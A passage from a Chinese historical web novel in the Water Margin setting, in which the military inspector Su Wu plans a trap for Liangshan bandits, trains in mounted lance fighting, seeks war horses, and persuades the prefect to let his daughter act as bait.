索超点着头:“带着云理万回去,平灭武将谋反之乱,当是有功,我上面还有都监闻达,另有一个副都监李成,此番,兴许我当也是副都监了。” “那再好不过。”苏武发自内心的高兴,如今两人关系,索超自是官当得越大越好。 索超也欣慰点头:“是啊,如此,军中粮饷,当也能多有一些支用之权。” 索超想来想去,还是想的这事,可见索超还真是一个极其优秀的治军之人。 “不急不急,将来有的是门路,咱兄弟升迁之事,不难。”苏武也知道,这句话会说到索超心里去。 “那就要多多仰仗哥哥了。”索超也不是那真正城府深厚之人,倒也直白非常,却是索超忽然也问:“这几日,我这一走,只怕董平那厮会伺机报复,哥哥在这东平府里,也无亲近可用,当要早做防备才是。” 显然,索超也在关心苏武之事。 苏武便是皱眉来答:“我想了许多,那董平自是梁山贼寇去入伙,他要报复,明面上的当是没什么,暗地里的着实不得不防。我孑然一身了无牵挂,出门来去,也有人手相随,他若来得几人,我自也不惧他,所以这事啊……” 索超已然答道:“这事怕不在哥哥身上了,那阳谷县里可有能拿捏哥哥之人?” 苏武摇头:“当不在阳谷县,他们本是大贼,谋定而动,冒着被各地官府缉拿的风险出门来,阳谷县里一些衙差,他去报复什么?又能伤我什么?更也得不到什么好处,那阳谷知县,更是个老迈之人,从来不曾得罪何人,拿了他,与我而言,似也无甚干系……” 苏武这么说着,便也是旁人看来,自就是这个道理,梁山与董平出门来本就是冒险,报仇这种事,自要报在点子上,若是个不痛不痒,那如何能解气? 索超皱眉思索,又问:“那就是东平府了,近来,知府衙门里,必然要加强守卫才是,知府相公也不宜出门多走。” 苏武点头:“这我也早有料想,便是想着这些日子,就住在府衙里,但我还多想几分,千日防贼,不是办法,当要引蛇出洞,如此让他们吃个大亏,知道厉害,往后自也就不敢轻举妄动了。” 索超连连点头:“是这般道理,哥哥足智多谋,自是能想到办法。” 苏武又说:“真要想那梁山之贼,那晁盖有义薄云天之名,那董平呢,更是恨在东平府,恨在知府相公与我,想来这报仇之事,定然就在这里了。一是救那刘唐,二是报复我与知府相公……” 说到这里,苏武陡然想通了什么事,脑海中有那灵光一闪。 索超闻言,只说:“哥哥,那刘唐在大名府羁押,只待我去信中书相公,加强戒备就是,他们必然得逞不了!” 正是此理,往大名府牢狱去劫人,如今梁山之势,万万做不到。 苏武只点头:“我知了,那贼人若是要报复,还要救人,目标只有……知府相公,若是我日日守在衙门里,再加一个董平在贼人之中……哈哈……” 苏武笑起来了,似已然当真想通了什么。 索超只问:“哥哥已然定计?” 苏武点着头:“引蛇出洞,就是个瓮中捉鳖。” “可要我帮衬一二?”索超又问。 苏武本要点头,忽然一想,摇头:“你若一直大军留在此处,便也怕那贼人投鼠忌器,不敢轻举妄动,你可带着大军先回,便是要卖这么个破绽,只留……周谨与二三十个精锐汉子就是,我也还有其他人手可用,贼人此来,多不过十几个人。” “好!只待查抄了这里,我就回头点兵,明早就回,与哥哥留得三十号精锐,必是强横敢死之辈。”索超倒是对苏武放心非常。 “多谢!” “哥哥如此客气,这五千贯钱,我又怎好意思去拿?” “那就不客气了。” 两人相视在笑。 一旁有栾廷玉听得种种,似也心中有那么一种感觉,如此要事商议,竟是不避他。 苏武直接转头来说:“栾师父,此番也多要仰仗一二了。” 栾廷玉只管答道:“正也许久不曾与人真正动手,怕是手上技艺生疏许多,正好练上一练。” 只看这院子里已然抄得一空,便是连座椅屏风之类都搬出来了。 索超便说:“哥哥,这些要发卖的东西,便由我带去,我这人多车多,好带,大名府里也好卖,如此也省得哥哥一番手脚。” 真是想得周到。 苏武也不矫情:“也好。” “走,回营,哥哥回营点兵,我也再给哥哥壮一番声势。”索超当真越发细心用心。 众人往军营里回。 军营里泾渭分明,索超麾下,那自是一个个雄姿英发。 而东平府的军汉,还多有一种担惊受怕的心思,乃至兵刃甲胄也多缴了去,自也是受看押的状态。 两拨兵马都聚在校场列队。 苏武走上点将台,左右扫视。 苏武开口:“诸位想来也听说了不少,那董平与梁山贼寇暗中往来,更是那劫生辰纲的同伙之一,而今已然逃去梁山落了草。” 说到这里,苏武顿了顿,只看那东平府千来号人,已然交头接耳不少,细小交谈嗡嗡一片。 苏武也不制止,还让他们交头接耳一番,再开口:“你们昔日里,有些人受得董平看重,有些人不受董平看重,某也知道,这些机密之事,董平也不会与你们密谋,董平向来藐视朝廷,早就有谋反之心,尔等必也不是那相随之人,某已禀告中书相公与知府相公,念在你们此番被人蒙骗裹挟,关键时候投降也快,自也既往不咎。” 再看那千来号人,又是一番交头接耳,有件事,苏武说得太准。 董平藐视朝廷这种事,许多人都见过,比如董平私下里辱骂上官之类,乃至辱骂某些朝廷高官,其中骂得最多的就是程万里与程万里的恩相童贯。 什么是朝廷?对于底层人而言,上官就是朝廷…… 此时苏武左右去看,眼神扫视来去,他在等一个人。 立马也就等到了,人群中有人第一个开口:“多谢苏都监为我等说情!我等万万不是那董平的同党。” 就是他了! 苏武立马就问:“你唤作何名?是何官职?” “小人是步军副都头之职,名唤何冲。” “嗯,何冲,极好,你上司都头是何人啊?”苏武再问。 “嗯……”这何冲有些尴尬。 明白了,死了。 苏武也不多言,只说:“现在升你为暂代两营指挥使,先把这千号人拢住管好,日常城门守备之事,你也安排妥当。” 何冲一脸惊讶,还左右去看,他的上官可不少,就在当场。 众人也都看他,自也有人觉得何冲是真会钻营,一句话,官职就连升几级…… 苏武便是又说:“怎么?本将所言,何人心中不快?” 众人心中快是不快,又岂能在新上司面前去表达? 唯有何冲自己说:“都监,小人……怕是……” 苏武厉声一语:“就是你了,若是城防有失,唯你是问,某的军仗可不认人。” 也是无奈之法,此时也辨别不得什么,其实也有一个基本的信任,苏武相信这里绝大多人,乃至所有人,知道董平是反贼之后,必然不敢再与董平有什么牵连。 大宋还是太平日子,这些军汉也是太平军汉,又有几个人会真起什么谋反之心? 但真正信任这种事情,就是需要一个过程,临时拔一个人出来干活,一来是防止这千多号军汉工作出乱子。 二来,也是先立个靶子在那里,容后慢慢来甄别。如果何冲当真做得好,那也该他走运。 反正,苏武也并不指望这些人真正派上大用场。 苏武厉声之后,那何冲便也不敢多言,就听苏武再说:“各自回营,领回兵刃,甲胄不发,其他亦如以往,先上值站班。散了去……” 苏武大手一挥,转头下那点将台,索超随行:“哥哥怕是还要费一番手脚啊……” 苏武摇头:“懒得费手脚,只管募新军。” “也是个办法,自己的兵,自己用心,自己训自己带,方才堪用。”索超点着头,又说:“就是花销甚巨。” “慢慢想办法。”苏武也是皱眉。 (大宋军制,三人一小队,九人一个中队,五个中队便是一个大队,大队里有队头为长,还有押官为辅,下面有队头副队头,还有傔旗五人,一个大队就是五十人左右。 其中还会有军校,军校就是督战队,大队就是基本的作战单位。 两个大队,就是一都,都头就是长官,副都头为辅,一百人左右。 五都就是一营,五百人左右,这个编制里,军官就多了,长官就是营指挥使,下面副指挥使,都虞侯。 五营就是一军,两千五百人左右,军指挥使就是长官。 上面还有厢这个编制,一厢一万二千五百人,但这个编制,除了东京禁军之外,其他地方很少有。 再往上,就是有名号的部队,比如捧日军与天武军,这是驻在东京的所谓禁军精锐,下面各有两厢编制。 到得地方上,基本就是营为单位,就是五百人的编制,上面就有苏武这种兵马都监来管制。 宋朝官制里,其实称之为州府兵马都总管,乃至一路兵马都总管,其中也有钤辖之称,两者区别不大,但也有不同,正儿八经有军务的,就是有可能打仗的地方,多是都总管,乃至还有都总管府这种军事单位,钤辖则多在不太可能打仗的地方,有时候也不一定,较为混乱。) 临时多加了点内容,晚了一点点,抱歉。 第57章 愿为将军效死 傍晚,苏武再一次出现在校场之上,两匹马,甲胄两身,栾廷玉与苏武穿好甲胄。 栾廷玉再一次开始教了:“将军,若是真正战阵厮杀,打马冲阵,定要记住一点,杀人不是目的,冲乱敌军阵型才是主要,所以,冲阵之时,要做的就是阵型紧密,不论发生什么,一定不要停下马步,只要马步不停,凿穿敌阵,就是大获全胜,一旦马步陷阵而停,便是大势已去……” “若是狭路相逢,或者捉对厮杀,便是今日要教的事,先教两马对冲,往后再说左右,乃至并排之法,前后之法……所谓对冲,便是只有一条,两马交错只在瞬间,只有稳准狠,此事,我随将军多练即可……” 苏武认真非常,听得连连点头,却也提问:“步战持枪,与马战持枪,是否区别很大?” 栾廷玉点着头:“将军当真举一反三,想来将军已然有了思虑,不若说出来听听。” 苏武继续说:“两马对冲持枪,便是稳准狠,步战,却容得许多闪转腾挪,还容得许多花里胡哨,乃至欺敌诈敌之法。” 栾廷玉一脸欣慰:“将军所言不差,正是此理。” 苏武却是脑海中又想起了那日城门洞中的董平,便是又道:“想来,一匹与主人心意相合的好马,也极其重要,若是有这般一匹马,兴许能增加主人至少两成的战力。” 栾廷玉稍稍有些惊讶,却也在点头:“将军当真懂得其中。” 马! 苏武想到这里,便也有了一些心思,倒也不多想,只与栾廷玉说道:“栾师父,且先来试试两马对冲的感觉。” “我取木杆来。”栾廷玉打马转头去一旁的武器架上取木杆,便是不能真有长枪来对冲。 这种对冲,极其考验一种感觉上的东西,自己的马速,对方的马速,对方长枪出手的预判,自己长枪出手的时机把握。 这就是要多多试验多多练的东西,好在有栾廷玉这么一个顶尖人物来与苏武对练,当真也是一种幸运。 就看两人打马,在校场上来回冲杀。 时不时有栾廷玉的呼喊:“将军,出枪慢了。” “将军,又早了……” “还是早了些,将军心中有紧张,要再沉稳,再冷静,此般对冲,最是凶险,生死皆在瞬间……” 就看苏武在马背上深吸几口气,再来,马匹奔起,对面栾廷玉也来。 再看两马飞奔交错,瞬间之后,栾廷玉低头看了看自己胸甲,一声呼喊:“正好正好!将军当真天赋不凡。” “栾师父让我……” “不是让你,而是先让你感受一下这种时机把控,往后我自也要施展手段,也再教将军一一破解……” 苏武点头,只觉得栾廷玉真是个好老师,教学经验十足。 两人就在校场上打马来去不断,一个时辰很快就过。 待得两人收拾一番,苏武带着栾廷玉出街去吃饭,也是去寻人。 寻的是车马行郁保四,这厮而今,算是老实,也算经过了小小考验,基本可以信任一些。 寻到郁保四,三人街边寻了个酒肆落座。 郁保四亲自忙前忙后,倒茶倒酒,只待菜色一齐,苏武举杯:“请!” 栾廷玉自是一饮,郁保四却还有几分犹豫,当然也还是一饮而尽。 苏武看出了郁保四的那种惴惴不安,便也不等了,直接开口:“你贩马生意如何?” 郁保四立马来答:“回将军,还算不错。” “一年从北边走得多少匹马来?”苏武再问。 “嗯,好走的时候,一年总也走个七八十匹,不好走的时候,三五十匹也不算少。”郁保四老老实实来答。 苏武多少有些失望。 马是什么?如果放在军中来说,那是极其重要的战略物资,没有马的军队,即便精锐非常,兴许少败,但一定不可能有大胜。 马,就是一支军队的机动能力,战术视野的掌控能力,乃至也是一支部队成功的上限所在。 此时已然临近末年的北宋朝,缺马,极为缺少,就好比这东平府在册的五千兵马,其实拢共才一二百匹真正能堪用的战马。 其余还有什么骡子,驴,乃至牛。索超麾下,也是这般。 倒是西北那边,西军战马稍稍多一些,也多不到哪里去。 马在官府是什么?是信息传递的速度。 马在民间是什么?奢侈品,身份地位的象征,法拉利兰博基尼。 苏武本以为郁保四在这生意里,做得很大,却是一年不过几十匹的量,便再问:“而今北边过来的马,价格如何?” 郁保四只管老老实实来说:“劣马小马,六七十贯不等,正经的健马,一百贯左右。” 苏武点着头,是这个价了,法拉利的价,郁保四贩的马,主要是从辽国来的。 辽国如今势力范围极大,从东北白山黑水,到广袤的草原,皆算是辽国的势力范围,辽国还真就不缺马。 只是走私这件事,风险也大,关卡也多,利益链条也长,价格自然该是如此。 要说大宋本地的马,一来是缺真正的养马地,二来是几番马政弄得一塌糊涂,基本不指望。 “我要许多马!”苏武直接说。 郁保四倒也不惊,只问:“将军要多少?” “如今,至少一千匹,往后兴许越多越好。”苏武认准了一件事,他若麾下有五百以上的真正精锐骑兵,在这州府之间,当真可以横着走。 所以,一千匹,那是起步价,是苏武建功立业迈出去的第一步。 郁保四陡然就惊:“一千匹?那可是十万贯……” 苏武也挠头,一千匹马就要十万贯,这只是马的价钱,还不算马的嚼喂保养,健马战马,吃得要极好,比人的伙食耗费要大几倍。 “钱的事你不必多想,只问你弄不弄得来?”苏武就这个门路。 郁保四连连摇头:“小人着实……没这么大的本事,若是一年一百匹,小人使上吃奶的力气,兴许也就给将军办了,一千匹马,小人……” 郁保四满脸的为难,还有几分讨好,求放过。 苏武更是失望,但也知道这件事实在麻烦,毕竟是走私,但苏武又问:“你可知周遭,何人吃得下这般数目?不能拖长,最多三个月就要有。” 郁保四直接摇头:“无人可成此事!” 倒也符合常理,这个数目实在太大,若是拖得好几年,又意义不大。 苏武陡然想起来一个人,问了一句:“大名府卢俊义也无此能?” 郁保四稍稍犹豫,慢慢来说:“河北玉麒麟,他倒是名声在外,生意也大,若是给个两年时间,慢慢来……兴许能成,但三个月,必然不成。” “若是加钱呢?”苏武最后的一个能想到的办法了。 “这倒也不一定是加钱的事,若是要人犯险……倒也不知将军识不识得河北玉麒麟?”郁保四问得聪明。 苏武也就懂了,加钱这件事,兴许还真不那么重要,人情才更重要。 卢俊义是有贩马的渠道,但这条渠道,定然也有个安全系数,若是超越了这个安全系数,一旦出事,损失本钱是小,整个渠道都毁了。 所以……好似也不成。 除非有这个人情在!卢俊义人情不得不还,豁出去了干。 苏武点着头,说其他:“郁保四……” “小人在。”郁保四一脸尊敬。 “往后啊,贩马之事你接着做,你来多少我要多少,多市价一成与你结算。但你也要帮我一些事,你麾下也有不少人手,往后军中马匹喂养,乃至病疫防治,马匹繁育,皆付你手,这也是一门生意,这门生意与你了。” 苏武知道,人才最重要,郁保四,就是马匹这一道的人才,做牲畜生意,特别是马这种金贵的牲畜,其实风险极大。 有老话说,家财万贯,带毛的不算。郁保四能在这一道上赚到营生,从相马之术,到保养喂养,再到病疫防治,必然都是内行。 也是骑兵更重要,不论与谁打仗,若是有一支精锐骑兵,那实在是做梦都要笑醒。 如今,骑兵就是苏武的梦。 这个梦得实现。 只看郁保四起身,拱手大礼:“愿为将军效死!” “吃酒吃酒……”苏武倒也客气。 第58章 容我再思虑,再思虑 只待这顿就吃完,走到回知府衙门的路上。 栾廷玉也开口问:“将军,一千匹马,着实不敢想象啊,十万贯的马钱,每月支出更是天文数字,还有骑士耗费,将军怕是捉襟见肘……” 捉襟见肘这话倒是客气了,是缺口极大。 苏武自己也算:“一副好甲,也要四五十贯,不说多了,三千披甲汉,十四五万贯……” 这个时代,金属制品,再加细致手工,贵得难以承受。 压力山大,却也更让苏武去畅想,若是有这么一支三千人的军队在麾下,那该是个什么场景。 栾廷玉也在点头:“是啊,这么多钱,还有军汉俸禄,养精锐自不比养懒汉,不说多了,一个月一人支去两贯军饷总是要的……” 苏武摇着头,不能再算了,再算下去,梦想好似就要破灭了,他现在手中,满打满算,三万五千贯不到。 又想那大名府梁中书,给自己的岳父蔡京送个生日礼物,便是十万贯出手。 而晁盖抢了这十万贯去,就成了梁山的启动资金,但这十万贯对于梁山而言,其实也并不是很大一个数目。 故事里,梁山中后期,至少有三到五万的人口,若是真算下来,十万贯,一人不过两三贯钱,又怎么可能养得活? 但梁山很长一段时间里,日子都过得挺好,为何? 还是他妈抢劫来钱快!抢青州,抢独龙岗,抢曾头市,抢高唐州,抢东平府,乃至抢大名府…… 就是这么各处抢,抢完,那就是大口吃肉,大碗喝酒,大秤分金银…… 忽然觉得,当土匪好似也不错。 像苏武这正经人家,为了钱,愁得脑壳疼。 更也想起了许多故事,做什么香水、肥皂之类…… 苏武自问,能弄出来吗? 倒是也能,毕竟这些只是基础的物理与化学知识,原理不难,多试验,总能成。 比如说肥皂吧,这玩意需要大量的动物油脂,若是大批量生产,上哪去弄这么多动物油脂来?一个月一百斤?还是五百斤?亦或者几吨? 能生产多少肥皂去卖?东平府一地,能有多少动物油脂?外地?又要多少人手去收集?怎么保证动物油脂运输还不腐败? 植物油脂更就不谈,比动物油脂还难以获得。 乃至这个时代条件所限,生产方式肯定也是污秽不堪…… 香水更不说,倒不是酒精多么难,反而香料是限制,香料本就是奢侈品,这个时代,一些香料,某种程度上就是香水。 寻常香味的香水也并不能直接带来某种革命,市场其实也不大。 再加上材料稀缺,收集制作,繁琐不堪,自己捣鼓着玩兴许还行,大规模生产,要解决的问题多如牛毛。 至于制盐什么的,盐本也就是官府生意,贩卖私盐本身也就是黑道的门路,这个事情,要么就做,要么不做,没那么门道可言。 至于什么提纯精盐之类,归根结底,要么还是与官府合作,若是私自贩卖精盐,反而是给自己找麻烦,成了众矢之的。 说来说去,这个问题,还是贩卖私盐或是在官府下做正经盐商的问题,不存在多么高明。 时代的局限性,就是如此,除非苏武能当场手搓蒸汽机,那才是从根本上改变了生产方式与格局,但这件事,苏武当真做不来。 当然,水力纺纱机之类的,也不是不可,苏武其实还是做不来,只是知道个原理,实在是暂时没有时间在这里耗费。 这些路数,在此时此刻苏武面前,着实有些行不通。 真要赚钱,反而找知府衙门里取一张酿酒的凭证,酿酒贩卖,这才更现实许多,大宋的酒还真值钱。 酿酒……这件事得干,不难,苏武弄许可凭证,孟玉楼来开个正店。 正店就是有酿酒资格的店,可以往外卖酒贩酒。 乃至,独龙岗三庄,粮食产量颇丰,贩卖粮食往那东京去,也是门大生意,也可以是酿酒原材料供应商。 这两门生意,是可以让一个宋朝人变成首富的生意,也是长久生意。 就好比历史上的岳飞,他也做生意,其中主要之一就是酒,连他麾下军队名号都叫做背嵬军,嵬,也有酒瓶之意。 还得想偏门!来钱快的偏门! 一路上,苏武是思绪万千,但他知道,偏门就来自法律不允许的地方,但又要符合大众的利益,不能真的丧良心…… 回了府衙,苏武自就去见知府程万里,有要事相商。 程万里屏退左右,与苏武坐在后衙书房,只听得苏武一通说。 程万里便是越听越是心惊:“当真那梁山之贼与董平要回来报复?” 苏武认真严肃点头:“必然如此,所以此番一定要给他们一个教训,让他们再也不敢往东平府来!如此才是一劳永逸,相公方可安睡。” 吓唬一下,也是寻到了程万里的弱点,刀兵之事,人身安全,他是真的有些怕。 程万里面色起白:“你自谋划,你自操弄,定要让贼人再也不来我东平府。” “但这事,还是要相公帮衬一二……”苏武又说。 “啊?”程万里愣了愣,便问:“你刚才说引蛇出洞瓮中捉鳖,总不是要本府当这个诱饵来引蛇出洞吧?” 苏武立马摆手:“不是不是,知府相公出街,前有开路,后有殿后,左右护卫鸣锣,下官自也随在左右,那些贼人来得不多,必然不敢轻易冒险。再说相公平常里也不会去那偏僻之处,若是相公不带太多人,还去偏僻处,那些贼人又岂能不怀疑其中有诈?” 程万里连连点头,下意识拍了拍自己的胸脯,说道:“对对对,想来那些贼人必然不敢对本府下手。” “倒也怕他们日日在暗中惦记着……”苏武接着又是吓唬,其实也就是给程万里一种焦虑。 “那你直说……”程万里被“恐吓”两番,其实也明白苏武有所求。 苏武直言了:“相公,那董平最惦记何人?” 程万里人就站起来了:“万万不可!” “相公稍安,相公稍安……”苏武还得立马去安慰,接着说:“那梁山之贼,是要救那刘唐,那董平更要报仇雪恨,两相一合,只怕他们目标就是相公掌上明珠,若是此番不引蛇出洞,不外乎也是日夜遭贼惦记,那岂不永远不得安生?” 程万里坐下来了,显然心中犹豫不决,当真是左也不是,右也不是。 为何偏偏是程万里的女儿? 因为程万里的女儿能换回刘唐,其中道理也简单,刘唐在相公们眼中,只是一个小贼而已,更也不是领头的劫匪,岂能有程万里的女儿贵重? 真要到了救女儿的时候,程万里去求梁中书把刘唐带来换女儿,梁中书又岂会为了这点事当真得罪同僚。 更重要的是,梁中书的岳父蔡京,如今与程万里的恩相童贯,关系甚笃。 蔡京这辈子,因为新旧党争,元佑党争等事,起落极多,之所以而今又能身居高位,最重要的一次起用,就是仰赖童贯使尽了浑身解数,才把在杭州的蔡京再次推荐到了当朝皇帝赵佶的面前。 所以蔡京与童贯,此时算是一党,利益共同体。 程万里与梁中书,也就不必多言,所以,程万里的女儿若是被绑,绝对能换回刘唐去。 苏武怎么来想,程万里的女儿定然就是梁山目标所在,风险小,收益大,还能满足梁山与董平两方的需求。 把女儿拿出去做诱饵,程万里又岂能轻易答应,即便犹豫来去,最后还是说道:“苏武啊,此事,本府当真应不下口。” 苏武便是再说:“相公万万放心,我已备得精锐悍勇之辈百十人,更有武艺绝强之人在侧,万万不会让令嫒出得丝毫差错,下官更是亲自护随左右!” 程万里看着苏武,似还是不舍:“苏武,不是我不信任你,我知你一心为公,更是忠义无双之辈,效死不在话下,只是……此事吧……容我再思虑,再思虑……” (兄弟们,我爱你们!) 第59章 唯小人与女子难养也 “相公有所不知,那梁山之贼,不是一般贼寇,其中能人不少,狡猾非常,且还有一个叫做吴用的人,号称智多星,此人还真有几分聪慧,若是不当真设计,他们怕是万万不会上当。” 苏武想得许多,想来想去,便只告诫自己,梁山万万不能小看,哪里做差了一点,都有可能功亏一篑。 这也是苏武如今反复自我提醒的事,就是一定不能小看了敌人与对手,不能真的以为自己当真有那超越时代的智计。 程万里似也有些烦了,摆摆手,倒也不是说什么重话,只说:“明日再说明日再说……” 苏武自也知道进退,不再强求,拱手退去。 他也知道,这件事,其实当真有些强人所难,但这日日被贼惦记的事情,实在又不能不去解决。 不说其他,苏武也不可能永远绷着弦来面对这件事,他的事情也多,若是真一个不慎,让梁山之人得逞了,后果不堪设想。 程万里也从后衙书房出门去,却是出门走得几步,忽然有一个声音:“父亲……” 程万里吓得一跳,当然也反应过来了,转头去看:“你在此处作甚?不声不响,骇人一惊。” 只看屋檐转角,走来一个女子,先是一福,再来开口:“父亲,我只是听人说有客人来了,便是来看看……” “看什么?”程万里眉头一皱。 “就是看看……”姑娘家就这么答。 程万里眉头皱得更深:“头前你不是见过了吗?又来看什么?” 程万里兴许……感受到了一点奇怪的苗头,一个大姑娘家,没事跑出来看什么男人? 便是也知道,自己这个闺女,还当真有些不一样。 就好比上次,他自己六神无主的时候,这亲闺女还能安之若素,更能出言来安慰他这个父亲…… 闺女,其实打小就不一样,之所以这么宠爱,便也因为她打小就与其他姑娘家不同。 果然,闺女也答:“就是来看看那苏武嘛,上次看他,还没看个清楚,就被他发现了,如何好意思再看?” “这次看清楚了?”程万里没好气问。 “看清楚了呢……”闺女指了指那屋檐转角处窗户上的合页。 今日还真就看清楚了,外面天黑,里面掌灯,小小合页缝隙,还真就是那灯火阑珊处瞧了个明明白白,人高马大,一脸刚毅,说起话来,不卑不亢,条理清晰…… “嗯,看清楚就罢了……”程万里大手一挥,往前走去。 “父亲……” 程万里脚步一止,转头来,不耐烦,当真不耐烦,平常里他对自己闺女可没有这么多不耐烦,今日格外不耐烦:“怎么了?” “我觉得,他说的很有道理,办法也挺好……”姑娘轻声说。 “胡说八道!”程万里气不打一处来,起身又走。 闺女自是脚步跟随:“父亲若信任他,他说的,父亲心中自然也知,其实就是上上策。他若不值得父亲信任,父亲又何必说那些‘再思虑’与‘明日再说’的话语搪塞呢?” 程万里再次停住了脚步,转头来,认认真真看着自家闺女的脸庞,然后沉默了片刻。 姑娘也不说话,就等着…… 然后,程万里才开口,严肃非常:“先说一件事,咱是书香门第,那苏武虽然品性与本事皆当上选,但他是草莽而起,武夫之辈,何以与咱们能门当户对?以往你说你自己挑选夫婿之类的话语,为父只当你任性胡闹,不与你一般计较……今日,为父可容不得你,就问这世间,哪里有你这般的女子?真是胡闹,只待来日归京,只管往那东华门外的榜下去捉,那才是良缘!” “父亲,哪里就说到什么良缘夫婿了?当真羞煞人来,哪里有父亲这么与女儿说话的?什么夫婿不夫婿的,父亲你想哪里去了?” 姑娘一脸的委屈,似双眼在红,泪先在眼眶中转了转,说流就流…… “好了好了,为父看你如此来偷瞧,只当你是……你是……”程万里说话立马收敛了。 “只当我是什么……父亲你说啊……” “没什么没什么……”程万里偃旗息鼓,立马又道:“他那谋划,不能说不好,只是我舍你不得,教你去犯险,那万万不可。” “那也行,只管让我每日躲在家中不出门就是,夜里也多派几队衙差巡着守着,也只听说那些江洋大盗,翻墙过院如履平地,最好啊,就让那苏武每日都守在我那闺房门口,如此,倒也不怕那些贼人了,方可安心入睡,就是不知父亲哪日能调遣归京……” 姑娘泪水已收,但红眼还在,跟在父亲后面,轻声细语,却少不得那几分委屈巴巴。 只听这一番话来,程万里就是个唉声叹气:“当初若是知晓这般,便是如何也不来此地为官!一来就碰到这些事,便是整个大宋,哪里能有这般的州府?” 程万里在发泄,这些日子,真的是精神折磨,这官只教人当得憋屈难受。 “父亲,若不是东平府下郓城起了大贼,那前任陈文昭获了罪,哪里能有得这般空缺出来?这里也没什么不好,出粮也多,商贸也繁,本也是富庶之地,若是父亲为官一任,解决了前任留下来的烂摊子,岂不也是大功?回京之后,岂能不得升迁?” 姑娘边走边说着,稍稍顿了顿,看看父亲,接着再说:“难道父亲此番,当真也想与那陈文昭一样,不升反降,回京去个什么谏院当编修?若是这般回京,还谈什么东华门外榜下去捉婿?还谈什么良缘?父亲便也只能看着那些达官显贵把乘龙快婿捉回家去,而我呢……谁还正眼来瞧?” “你这个死丫头,说的什么话呢?”程万里转头来骂,只是脸上并非真是盛怒。 “父亲,那苏武啊……有勇有谋,又有品行,办差做事,样样不凡,兴许还真是您的升迁之道呢,父亲想想?” 姑娘说完话语,几步走到父亲头前去,转身挡住路来,只看着父亲。 “他还能把那水泊梁山的大贼剿灭了?”程万里没好气问。 “说不定他真能……父亲难道当真不信他兴许能做成?”这闺女好似拿捏自己的父亲很有一套。 “你说这些,为父还能不知你那小心思?反正,我不会让你去。”程万里两手往背后一负,便是当真疼爱非常。 也是这闺女,就是招人疼爱,不仅是那模样与性格上的事,而是这闺女,真不同一般女子,这闺女多了一份一般人难有的智慧。 “父亲……”闺女一双眼眸在说话。 “嗯?”老父亲压根转头不去看。 “总有一日,一个不慎,我当真要被贼人捉了去,就被那董平捉了去,我都不敢去想那般后果……”姑娘发大招。 “胡说!胡说!”程万里捶胸顿足,就只差跳脚而起了。 “还有那董平手持利刃,父亲想想……那董平何等凶恶?这夜半三更,他若真是翻墙入院……” “唉……”程万里一口气叹去,他岂能不知自家闺女这点小伎俩?他只是无奈,转着圈的无奈。 不免也有一语:“岂不知圣人言,唯小人与女子难养也!说的就是你,说的就是你这般难养的女子!” “那还不赶紧想办法升迁回京去?也好往那东华门外的榜下去捉个良缘,只管是眼不见心不烦。”闺女说着话,却在笑,笑出几分故意的狡黠。 父亲哪里笑得出来,真是到那一天,只怕他要哭出三里地去。便是只管两只官袍大袖左右一甩,把自家闺女甩去身后,哼哼唧唧,走了! 第60章 你真是要气煞我也! 大早,苏武早间也不去校场,直接在府衙前院与栾廷玉呼和来去,这里场地也大,施展得开,晚间要打马,便再往校场去。 就看那程万里忽然从前衙大堂走了出来,一脸黑气,沉闷站着,两手大袖收窄,背负在后。 苏武连忙收了长枪,往前去:“见过相公……” “嗯!”程万里鼻子出气。 苏武立马纳闷,哪里得罪了?难道是昨天夜里用他女儿出谋划策,所以他很生气? 如果是生这个气,倒也合理,苏武只怪自己一心为公了,少想了许多。 “不知相公……”苏武准备试探一下。 却是程万里直接转身:“随本府来!” 苏武自是往前跟着去,还是那个后衙书房,进去之后,就看程万里并不落座,而是往窗户去,几个窗户,看了又看。 苏武哪里还能发现不了几个窗户都关得紧紧的? 这是……有什么惊天大秘密? 再看程万里落座,抬手一比:“你也坐来……” 苏武心下一松,既然让坐了,那应该不是什么大事,只管有礼有节去坐。 就看程万里开口来问:“你准备……就是昨日说的事情,你准备如何操弄啊?” 哦,这事啊?嗨…… 苏武立马认真来答:“下官是这么谋划的,相公刚才也看到了下官练那枪棒,那师父姓栾,是了不得的高手,一手长枪,天下难有敌手,他呢,就给相公家的小姐当个车夫。下官呢,就打马随着,只当是护卫小姐往城外慈云寺去祈福上香,如此,再正常不过。” 大宋,佛教极其盛行,乃至道教也极其盛行,佛道之事,家家都供。从臣子到皇帝,从苏轼到赵佶,皆是虔诚非常。 所以说,高门大户的女子去寺庙,就是生活寻常,也是生活必须。 程万里点头:“嗯,想来那董平也恨极了你,你露脸倒也无妨,继续说……” “相公所言极是,那董平自也不惧下官,若真看到了下官,反而怒上心头来。下官麾下,还有百十号悍勇之辈,一些扮作随行小厮,只管挑抬贡品相随左右,一些装作行脚商贩,在后远远跟随,只待贼人现身,立马擒拿当场。” 苏武说完了,去看程万里。 程万里就问:“你说的那些悍勇之辈,当真悍勇?” 苏武点头:“其中有三十人是索提辖留下帮衬的,还有几十人,都参与了擒拿那刘唐之战,个个悍勇!” 说服领导,还真是一件苦差。 “索超麾下,倒是见识过了,悍勇得紧,你带着擒那刘唐的人,想来也不是庸人……”程万里好似在自我分析,也是自我说服。 “相公,已然是天衣无缝了。”苏武正在努力,看起来这位知府相公好像已经在考虑这件事的可行性了,只是谨慎非常。 却听程万里问:“那梁山之贼,当真来了?” 苏武点头:“八九成要来,就以董平那人性子,睚眦必报,岂能不来?” “若是万一没来呢?”程万里又问,似又想退缩。 “那岂不正好?只当是小姐礼佛而去。”苏武答道。 “唉……”程万里一声叹去,站起身来,左右踱得两步,莫名一语:“唯小人与女子难养也!” 这是什么话? 苏武一脸纳闷,骂谁呢? 苏武左右看了看。 程万里还来说:“不是说你。” 苏武点点头,他也知道应该不是说他,那难道还能是骂…… 这姑娘有点意思…… “你人手都备齐了吗?”程万里再问,便只是个小心翼翼,谨慎至极。 “也还待相公应允,只要相公应允了,今日派人去知会,明日就能来。”苏武答着。 “你身边不是还有一个小将吗?他当也要来!”程万里如此吩咐。 说武松呢,大概是程万里对武松也有不错的印象,比如那日在知府衙门外,武松与董平战那一场。 “那是自然,相公,他名唤武松,下官还正想保举他为阳谷县参军。”苏武选的这个时机极好。 “嗯,此事成了之后,就应了你。”程万里态度当真不太好。 苏武此时也知道了,这知府相公还真不是与自己置气,十有八九,是与那难养的女子置气,兴许也不一定全是置气,更多是担忧自家闺女的安危。 苏武不免还真对那难养的女子有了几分好奇。 北宋朝,还真不比后来的明清,甚至也与南宋区别甚大,社会风气上区别甚大。 此时,理学才起,并未大兴。 